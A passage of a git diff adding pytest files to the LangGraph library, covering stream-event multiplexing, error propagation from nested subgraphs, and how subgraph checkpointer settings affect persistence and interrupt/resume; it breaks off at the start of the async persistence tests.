super().__init__(scope) + self.seen: list[tuple[str, ...]] = [] + self.finalized = False + self.failed: BaseException | None = None + + def init(self) -> dict[str, Any]: + return {"async_probe": self} + + async def aprocess(self, event: ProtocolEvent) -> bool: + self.seen.append(tuple(event["params"]["namespace"])) + return True + + async def afinalize(self) -> None: + self.finalized = True + + async def afail(self, err: BaseException) -> None: + self.failed = err + + +@pytest.mark.anyio +async def test_async_child_mini_mux_uses_async_lane() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _AsyncProbeTransformer, + ], + is_async=True, + ) + await mux.apush(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + handle = _subgraph_transformer(mux)._handles[("agent:abc",)] + assert isinstance(handle, AsyncSubgraphRunStream) + probe = _child_mux(handle).transformer_by_key("async_probe") + assert isinstance(probe, _AsyncProbeTransformer) + assert probe.seen == [("agent:abc",)] + + await mux.apush(_tasks_result([], task_id="abc", name="agent")) + assert probe.finalized is True + + +@pytest.mark.anyio +async def test_async_child_mini_mux_fail_uses_async_lane() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _AsyncProbeTransformer, + ], + is_async=True, + ) + await mux.apush(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + handle = _subgraph_transformer(mux)._handles[("agent:abc",)] + probe = _child_mux(handle).transformer_by_key("async_probe") + assert isinstance(probe, _AsyncProbeTransformer) + + err = RuntimeError("boom") + await mux.afail(err) + assert probe.failed is err + + +class _StandardCtorTransformer(StreamTransformer): + """Transformer class that inherits the standard scoped constructor.""" + + def init(self) -> dict[str, Any]: + return {"standard_ctor": self} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +class _ScopedTransformer(StreamTransformer): + """Transformer class that uses the inherited scoped construction.""" + + def init(self) -> dict[str, Any]: + return {"scoped": self} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +class _ConfigurableFactoryTransformer(StreamTransformer): + """Transformer built by a configured per-scope factory.""" + + def __init__(self, scope: tuple[str, ...] = (), *, label: str) -> None: + super().__init__(scope) + self.label = label + + def init(self) -> dict[str, Any]: + return {"configurable": self} + + def process(self, event: ProtocolEvent) -> bool: + return True + + +class _ChildExploder(StreamTransformer): + """Raise from child mini-muxes to verify errors propagate upstream.""" + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + if self.scope and event["method"] == "values": + raise RuntimeError("child boom") + return True + + +class _ChildFinalizeExploder(StreamTransformer): + """Raise from child mini-mux finalization.""" + + supports_sync = True + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def finalize(self) -> None: + if self.scope: + raise RuntimeError("child finalize boom") + + async def afinalize(self) -> None: + if self.scope: + raise RuntimeError("child afinalize boom") + + +def test_normalize_transformer_factories_supports_scoped_classes() -> None: + factories = _normalize_stream_transformer_factories( + [_StandardCtorTransformer, _ScopedTransformer] + ) + + standard_ctor = factories[0](("child",)) + scoped = factories[1](("child",)) + assert isinstance(standard_ctor, _StandardCtorTransformer) + assert standard_ctor.scope == ("child",) + assert isinstance(scoped, _ScopedTransformer) + assert scoped.scope == ("child",) + + +def test_normalize_transformer_factories_supports_configured_factories() -> None: + factories = _normalize_stream_transformer_factories( + [partial(_ConfigurableFactoryTransformer, label="configured")] + ) + + built = factories[0](("child",)) + assert isinstance(built, _ConfigurableFactoryTransformer) + assert built.label == "configured" + assert built.scope == ("child",) + + +def test_normalize_transformer_factories_rejects_instances() -> None: + with pytest.raises(TypeError, match="pre-built instance"): + _normalize_stream_transformer_factories([_StandardCtorTransformer()]) + + +def test_child_forwarding_errors_fail_sync_run() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _ChildExploder, + ], + is_async=False, + ) + run = GraphRunStream( + iter( + [ + _stream_part( + "tasks", + ("agent:abc",), + { + "id": "t1", + "name": "tool", + "input": None, + "triggers": [], + }, + ), + _stream_part("values", ("agent:abc",), {"x": 1}), + ] + ), + mux, + ) + + handle = next(iter(run.subgraphs)) + assert handle.path == ("agent:abc",) + with pytest.raises(RuntimeError, match="child boom"): + _ = run.output + assert run._mux._events._error is not None + + +@pytest.mark.anyio +async def test_child_forwarding_errors_fail_async_run() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _ChildExploder, + ], + is_async=True, + ) + run = AsyncGraphRunStream( + _astream_parts( + _stream_part( + "tasks", + ("agent:abc",), + { + "id": "t1", + "name": "tool", + "input": None, + "triggers": [], + }, + ), + _stream_part("values", ("agent:abc",), {"x": 1}), + ), + mux, + ) + + handle = await run.subgraphs.__aiter__().__anext__() + assert handle.path == ("agent:abc",) + with pytest.raises(RuntimeError, match="child boom"): + await run.output() + assert run._mux._events._error is not None + + +def test_child_finalize_errors_propagate_to_sync_run() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _ChildFinalizeExploder, + ], + is_async=False, + ) + run = GraphRunStream( + iter( + [ + _stream_part( + "tasks", + ("agent:abc",), + { + "id": "t1", + "name": "tool", + "input": None, + "triggers": [], + }, + ) + ] + ), + mux, + ) + + with pytest.raises(RuntimeError, match="child finalize boom"): + _ = run.output + + +@pytest.mark.anyio +async def test_child_finalize_errors_propagate_to_async_run() -> None: + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _ChildFinalizeExploder, + ], + is_async=True, + ) + run = AsyncGraphRunStream( + _astream_parts( + _stream_part( + "tasks", + ("agent:abc",), + { + "id": "t1", + "name": "tool", + "input": None, + "triggers": [], + }, + ) + ), + mux, + ) + + with pytest.raises(RuntimeError, match="child afinalize boom"): + await run.output() + + +# --------------------------------------------------------------------------- +# End-to-end real-graph tests +# --------------------------------------------------------------------------- + + +class _State(TypedDict): + value: str + items: Annotated[list[str], operator.add] + + +def _passthrough(state: _State) -> dict[str, Any]: + return {"value": state["value"] + "!", "items": ["x"]} + + +def _make_two_level_nested() -> Any: + """outer → middle → inner. Three Pregel instances, two nesting levels.""" + inner_b: StateGraph = StateGraph(_State, input_schema=_State) + inner_b.add_node("inner_node", _passthrough) + inner_b.add_edge(START, "inner_node") + inner_b.add_edge("inner_node", END) + inner = inner_b.compile() + + middle_b: StateGraph = StateGraph(_State, input_schema=_State) + middle_b.add_node("inner", inner) + middle_b.add_edge(START, "inner") + middle_b.add_edge("inner", END) + middle = middle_b.compile() + + outer_b: StateGraph = StateGraph(_State, input_schema=_State) + outer_b.add_node("middle", middle) + outer_b.add_edge(START, "middle") + outer_b.add_edge("middle", END) + return outer_b.compile() + + +def _item_node(item: str): + def node(state: _State) -> dict[str, Any]: + return {"items": [item]} + + return node + + +def _make_two_sibling_subgraphs() -> Any: + """outer → one → two, where both nodes are compiled subgraphs.""" + one_b: StateGraph = StateGraph(_State, input_schema=_State) + one_b.add_node("add_one", _item_node("one")) + one_b.add_edge(START, "add_one") + one_b.add_edge("add_one", END) + one = one_b.compile() + + two_b: StateGraph = StateGraph(_State, input_schema=_State) + two_b.add_node("add_two", _item_node("two")) + two_b.add_edge(START, "add_two") + two_b.add_edge("add_two", END) + two = two_b.compile() + + outer_b: StateGraph = StateGraph(_State, input_schema=_State) + outer_b.add_node("one", one) + outer_b.add_node("two", two) + outer_b.add_edge(START, "one") + outer_b.add_edge("one", "two") + outer_b.add_edge("two", END) + return outer_b.compile() + + +def _failing_node(state: _State) -> dict[str, Any]: + raise ValueError("child boom") + + +def _make_failing_nested() -> Any: + inner_b: StateGraph = StateGraph(_State, input_schema=_State) + inner_b.add_node("fail", _failing_node) + inner_b.add_edge(START, "fail") + inner_b.add_edge("fail", END) + inner = inner_b.compile() + + outer_b: StateGraph = StateGraph(_State, input_schema=_State) + outer_b.add_node("inner", inner) + outer_b.add_edge(START, "inner") + outer_b.add_edge("inner", END) + return outer_b.compile() + + +def test_stream_events_v3_real_graph_yields_subgraph_handles() -> None: + """Iterating `run.subgraphs` yields handles for direct-child subgraphs.""" + graph = _make_two_level_nested() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + handle_paths: list[tuple[str, ...]] = [] + final_status: dict[tuple[str, ...], str] = {} + for handle in run.subgraphs: + # Drill into the handle's projections inside the loop body so + # the mini-mux is subscribed before the next pump cycle. + list(handle.values) + handle_paths.append(handle.path) + final_status[handle.path] = handle.status + + assert len(handle_paths) == 1 + assert handle_paths[0][0].startswith("middle:") + assert final_status[handle_paths[0]] == "completed" + + +def test_stream_events_v3_grandchild_visible_on_child_handle() -> None: + """Drilling into `handle.subgraphs` surfaces nested grandchildren.""" + graph = _make_two_level_nested() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + grandchild_paths: list[tuple[str, ...]] = [] + middle_path: tuple[str, ...] | None = None + for middle_handle in run.subgraphs: + # Subscribe to grandchildren before the next pump cycle. + for inner_handle in middle_handle.subgraphs: + # Subscribe to inner.values so its mini-mux drains. + list(inner_handle.values) + grandchild_paths.append(inner_handle.path) + middle_path = middle_handle.path + + assert middle_path is not None + assert len(grandchild_paths) == 1 + inner_path = grandchild_paths[0] + assert inner_path[1].startswith("inner:") + assert inner_path[: len(middle_path)] == middle_path + + +def test_subgraph_output_stops_at_own_terminal_without_draining_siblings() -> None: + """A handle's `output` must not pump past its terminal event. + + If it over-pumps the root run, the second sibling handle is yielded + only after it has already completed, so subscribing to `values` + inside the loop body misses its events. + """ + graph = _make_two_sibling_subgraphs() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + paths: list[tuple[str, ...]] = [] + second_values: list[dict[str, Any]] = [] + for handle in run.subgraphs: + paths.append(handle.path) + if handle.graph_name == "one": + assert handle.output is not None + assert handle.status == "completed" + elif handle.graph_name == "two": + second_values = list(handle.values) + + assert [path[0].split(":", 1)[0] for path in paths] == ["one", "two"] + assert second_values + assert second_values[-1]["items"] == ["one", "two"] + + +def test_aborted_subgraph_handle_does_not_fail_parent_forwarding() -> None: + graph = _make_two_sibling_subgraphs() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + seen: list[str | None] = [] + for handle in run.subgraphs: + seen.append(handle.graph_name) + if handle.graph_name == "one": + # Subscribe before aborting to ensure forwarding into the + # closed mini-mux would have raised without the closed check. + iter(handle.values) + handle.abort() + elif handle.graph_name == "two": + assert list(handle.values) + + assert seen == ["one", "two"] + + +def test_failed_subgraph_output_raises_terminal_error() -> None: + graph = _make_failing_nested() + run = graph.stream_events({"value": "x", "items": []}, version="v3") + + handle = next(iter(run.subgraphs)) + with pytest.raises(RuntimeError, match="child boom"): + _ = handle.output + assert handle.status == "failed" + assert handle.error == "child boom" diff --git a/libs/langgraph/tests/test_subgraph_persistence.py b/libs/langgraph/tests/test_subgraph_persistence.py new file mode 100644 index 0000000..c320a09 --- /dev/null +++ b/libs/langgraph/tests/test_subgraph_persistence.py @@ -0,0 +1,687 @@ +"""Tests for subgraph persistence behavior (sync). + +Covers three checkpointer settings for subgraph state: +- checkpointer=False: no persistence, even when parent has a checkpointer +- checkpointer=None (default): "stateless" — inherits parent checkpointer for + interrupt support, but state resets each invocation. This is the common case + when an agent is invoked from inside a tool used by another agent. +- checkpointer=True: "stateful" — state accumulates across invocations on the same thread id +""" + +from uuid import uuid4 + +from langchain_core.messages import AIMessage, HumanMessage +from langgraph.checkpoint.base import BaseCheckpointSaver +from typing_extensions import TypedDict + +from langgraph.graph import START, StateGraph +from langgraph.graph.message import MessagesState +from langgraph.types import Command, Interrupt, interrupt +from tests.any_str import AnyStr + + +class ParentState(TypedDict): + result: str + + +# -- checkpointer=None (stateless) -- + + +def test_stateless_interrupt_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None (the default) can + still support interrupt/resume when invoked from inside a parent graph that + has a checkpointer. This is the "stateless" pattern — the subgraph inherits + the parent's checkpointer just enough to pause and resume, but does not + retain any state across separate parent invocations. This pattern commonly + appears when an agent is invoked from inside a tool used by another agent. + """ + + # Build a subgraph that interrupts before echoing. + # Two nodes: "process" interrupts then echoes, "respond" returns "Done". + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + def call_inner(state: ParentState) -> dict: + resp = inner.invoke({"messages": [HumanMessage(content="apples")]}) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke hits the interrupt + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume completes the subgraph + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + + +def test_stateless_state_resets( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None (the default) does + not retain any message history between separate parent invocations. Each time + the parent graph invokes the subgraph, it starts with a clean slate. This + confirms the "stateless" behavior: even though the parent has a checkpointer, + the subgraph state is not persisted across calls. + """ + + # Build a simple echo subgraph: echoes "Processing: " + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile() + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = inner.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = parent.invoke({"result": ""}, config) + assert result1 == {"result": "Processing: tell me about apples"} + + result2 = parent.invoke({"result": ""}, config) + assert result2 == {"result": "Processing: tell me about bananas"} + + # Both invocations produce fresh history — no memory of prior call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processing: tell me about bananas", + ] + + +def test_stateless_state_resets_with_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None resets its state + between parent invocations even when interrupt/resume is used. The subgraph + is invoked twice from the parent, each time with an interrupt that must be + resumed. After both invoke+resume cycles, each subgraph run should only + contain its own messages — no bleed-over from the previous run. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = inner.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke+resume cycle + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Second invoke+resume cycle + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Both invocations produce fresh history — no memory of prior call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +# -- checkpointer=False -- + + +def test_checkpointer_false_no_persistence( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=False gets no + persistence at all, even when the parent graph has a checkpointer. Unlike + the default (checkpointer=None) which inherits just enough from the parent + to support interrupt/resume, checkpointer=False explicitly opts out of all + checkpoint behavior. Each invocation starts completely fresh. + """ + + # Build a simple echo subgraph with checkpointer=False + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processed: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile(checkpointer=False) + ) + + subgraph_messages: list[list[str]] = [] + call_count = 0 + + def call_inner(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + topic = "apples" if call_count == 1 else "bananas" + resp = inner.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = parent.invoke({"result": ""}, config) + assert result1 == {"result": "Processed: tell me about apples"} + + result2 = parent.invoke({"result": ""}, config) + assert result2 == {"result": "Processed: tell me about bananas"} + + # Both start fresh — no history from first call + assert subgraph_messages[0] == [ + "tell me about apples", + "Processed: tell me about apples", + ] + assert subgraph_messages[1] == [ + "tell me about bananas", + "Processed: tell me about bananas", + ] + + +# -- checkpointer=True (stateful) -- + + +def test_stateful_state_accumulates( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=True ("stateful") + retains its message history across separate parent invocations. To enable + this, the subgraph is wrapped in an outer graph compiled with + checkpointer=True — this wrapper gives the inner subgraph its own persistent + checkpoint namespace. After two parent calls, the second subgraph invocation + should see messages from both the first and second calls. + """ + + # Build a simple echo subgraph + def echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + inner = ( + StateGraph(MessagesState) + .add_node("echo", echo) + .add_edge(START, "echo") + .compile() + ) + + # Wrap the inner subgraph with checkpointer=True to enable stateful. + # The wrapper graph gives the subgraph its own persistent checkpoint + # namespace, keyed by the node name ("agent"). + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = wrapper.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = parent.invoke({"result": ""}, config) + assert result1 == {"result": "Processing: tell me about apples"} + + result2 = parent.invoke({"result": ""}, config) + assert result2 == {"result": "Processing: tell me about bananas"} + + # First call: fresh history + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + ] + # Second call: retains messages from first call + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "tell me about bananas", + "Processing: tell me about bananas", + ] + + +def test_stateful_state_accumulates_with_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a stateful subgraph (checkpointer=True) retains its + message history across parent invocations even when interrupt/resume is + involved. The subgraph interrupts before echoing, then responds "Done". + After two invoke+resume cycles, the second run should contain the full + accumulated history from both calls. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + # Wrap with checkpointer=True for stateful + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = wrapper.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invoke+resume cycle + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # Second invoke+resume cycle + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + + # First call: fresh history + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + # Second call: retains messages from first call + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +def test_stateful_interrupt_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a stateful subgraph (checkpointer=True) correctly + supports interrupt/resume while also accumulating state. Each invoke+resume + pair triggers the subgraph, and after the second pair completes we verify + both the per-step invoke outputs and the accumulated message history. This + exercises the full lifecycle: interrupt, resume, state accumulation. + """ + + # Build a subgraph that interrupts before echoing, then responds "Done" + def process(state: MessagesState) -> dict: + interrupt("continue?") + return { + "messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")] + } + + def respond(state: MessagesState) -> dict: + return {"messages": [AIMessage(content="Done")]} + + inner = ( + StateGraph(MessagesState) + .add_node("process", process) + .add_node("respond", respond) + .add_edge(START, "process") + .add_edge("process", "respond") + .compile() + ) + + # Wrap with checkpointer=True for stateful + wrapper = ( + StateGraph(MessagesState) + .add_node("agent", inner) + .add_edge(START, "agent") + .compile(checkpointer=True) + ) + + subgraph_messages: list[list[str]] = [] + topics = ["apples", "bananas"] + + def call_inner(state: ParentState) -> dict: + topic = topics[len(subgraph_messages)] + resp = wrapper.invoke( + {"messages": [HumanMessage(content=f"tell me about {topic}")]} + ) + subgraph_messages.append([m.text for m in resp["messages"]]) + return {"result": resp["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_inner", call_inner) + .add_edge(START, "call_inner") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + # First invocation: hits interrupt + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume: completes first call + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + assert subgraph_messages[0] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + ] + + # Second invocation: hits interrupt, state accumulated from first call + result = parent.invoke({"result": ""}, config) + assert result == { + "result": "", + "__interrupt__": [Interrupt(value="continue?", id=AnyStr())], + } + + # Resume: completes second call with accumulated state + result = parent.invoke(Command(resume=True), config) + assert result == {"result": "Done"} + assert subgraph_messages[1] == [ + "tell me about apples", + "Processing: tell me about apples", + "Done", + "tell me about bananas", + "Processing: tell me about bananas", + "Done", + ] + + +def test_stateful_namespace_isolation( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that two different stateful subgraphs (checkpointer=True) + maintain completely independent state when they use different wrapper node + names. A "fruit_agent" and "veggie_agent" are each wrapped in their own + stateful graph. After two parent invocations, each agent should only + see its own accumulated history with no cross-contamination between them. + """ + + # Build two simple echo subgraphs with different prefixes + def fruit_echo(state: MessagesState) -> dict: + return {"messages": [AIMessage(content=f"Fruit: {state['messages'][-1].text}")]} + + def veggie_echo(state: MessagesState) -> dict: + return { + "messages": [AIMessage(content=f"Veggie: {state['messages'][-1].text}")] + } + + fruit_inner = ( + StateGraph(MessagesState) + .add_node("echo", fruit_echo) + .add_edge(START, "echo") + .compile() + ) + veggie_inner = ( + StateGraph(MessagesState) + .add_node("echo", veggie_echo) + .add_edge(START, "echo") + .compile() + ) + + # Wrap each with checkpointer=True, using different node names to get + # independent checkpoint namespaces + fruit = ( + StateGraph(MessagesState) + .add_node("fruit_agent", fruit_inner) + .add_edge(START, "fruit_agent") + .compile(checkpointer=True) + ) + veggie = ( + StateGraph(MessagesState) + .add_node("veggie_agent", veggie_inner) + .add_edge(START, "veggie_agent") + .compile(checkpointer=True) + ) + + fruit_msgs: list[list[str]] = [] + veggie_msgs: list[list[str]] = [] + call_count = 0 + + def call_both(state: ParentState) -> dict: + nonlocal call_count + call_count += 1 + suffix = "round 1" if call_count == 1 else "round 2" + f = fruit.invoke({"messages": [HumanMessage(content=f"cherries {suffix}")]}) + v = veggie.invoke({"messages": [HumanMessage(content=f"broccoli {suffix}")]}) + fruit_msgs.append([m.text for m in f["messages"]]) + veggie_msgs.append([m.text for m in v["messages"]]) + return {"result": f["messages"][-1].text} + + parent = ( + StateGraph(ParentState) + .add_node("call_both", call_both) + .add_edge(START, "call_both") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": str(uuid4())}} + + result1 = parent.invoke({"result": ""}, config) + assert result1 == {"result": "Fruit: cherries round 1"} + + result2 = parent.invoke({"result": ""}, config) + assert result2 == {"result": "Fruit: cherries round 2"} + + # First call: each agent sees only its own history + assert fruit_msgs[0] == ["cherries round 1", "Fruit: cherries round 1"] + assert veggie_msgs[0] == ["broccoli round 1", "Veggie: broccoli round 1"] + + # Second call: each accumulated independently — no cross-contamination + assert fruit_msgs[1] == [ + "cherries round 1", + "Fruit: cherries round 1", + "cherries round 2", + "Fruit: cherries round 2", + ] + assert veggie_msgs[1] == [ + "broccoli round 1", + "Veggie: broccoli round 1", + "broccoli round 2", + "Veggie: broccoli round 2", + ] + + +def test_child_with_own_thread_id_keeps_namespace( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """A child graph invoked from inside a parent node with its own thread_id + must store and read its checkpoint under its own namespace, not inherit the + parent task's checkpoint_ns. + """ + + class ChildState(TypedDict): + count: int + + def child_node(state: ChildState) -> dict: + return {"count": (state.get("count") or 0) + 1} + + child = ( + StateGraph(ChildState) + .add_node("n", child_node) + .add_edge(START, "n") + .compile(checkpointer=sync_checkpointer) + ) + + child_thread = str(uuid4()) + child_config = {"configurable": {"thread_id": child_thread}} + + def parent_node(state: ParentState) -> dict: + child.invoke({}, config=child_config) + return {"result": "ok"} + + parent = ( + StateGraph(ParentState) + .add_node("p", parent_node) + .add_edge(START, "p") + .compile(checkpointer=sync_checkpointer) + ) + parent_config = {"configurable": {"thread_id": str(uuid4())}} + + parent.invoke({"result": ""}, config=parent_config) + state1 = child.get_state(child_config) + assert state1.values.get("count") == 1 + assert state1.config["configurable"]["checkpoint_ns"] == "" + + parent.invoke({"result": ""}, config=parent_config) + state2 = child.get_state(child_config) + assert state2.values.get("count") == 2 diff --git a/libs/langgraph/tests/test_subgraph_persistence_async.py b/libs/langgraph/tests/test_subgraph_persistence_async.py new file mode 100644 index 0000000..ba4ca1a --- /dev/null +++ b/libs/langgraph/tests/test_subgraph_persistence_async.py @@ -0,0 +1,709 @@ +"""Tests for subgraph persistence behavior (async). + +Covers three checkpointer settings for subgraph state: +- checkpointer=False: no persistence, even when parent has a checkpointer +- checkpointer=None (default): "stateless" — inherits parent checkpointer for + interrupt support, but state resets each invocation. This is the common case + when an agent is invoked from inside a tool used by another agent. +- checkpointer=True: "stateful" — state accumulates across invocations on the same thread id +""" + +import sys +from uuid import uuid4 + +import pytest +from langchain_core.messages import AIMessage, HumanMessage +from langgraph.checkpoint.base import BaseCheckpointSaver +from typing_extensions import TypedDict + +from langgraph.graph import START, StateGraph +from langgraph.graph.message import MessagesState +from langgraph.types import Command, Interrupt, interrupt +from tests.any_str import AnyStr + +pytestmark = pytest.mark.anyio + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +class ParentState(TypedDict): + result: str + + +# -- checkpointer=None (stateless) -- + + +@NEEDS_CONTEXTVARS +async def test_stateless_interrupt_resume_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Tests that a subgraph compiled with checkpointer=None (the default) can + still support interrupt/resume when invoked from inside a parent graph that + has a checkpointer. This is the "stateless" pattern — the subgraph inherits + the parent's checkpointer just enough to pause and resume, but does not + retain any state across separate parent invocations. This pattern commonly + appears when an agent is invoked from inside a tool used by another agent. + """ + + # 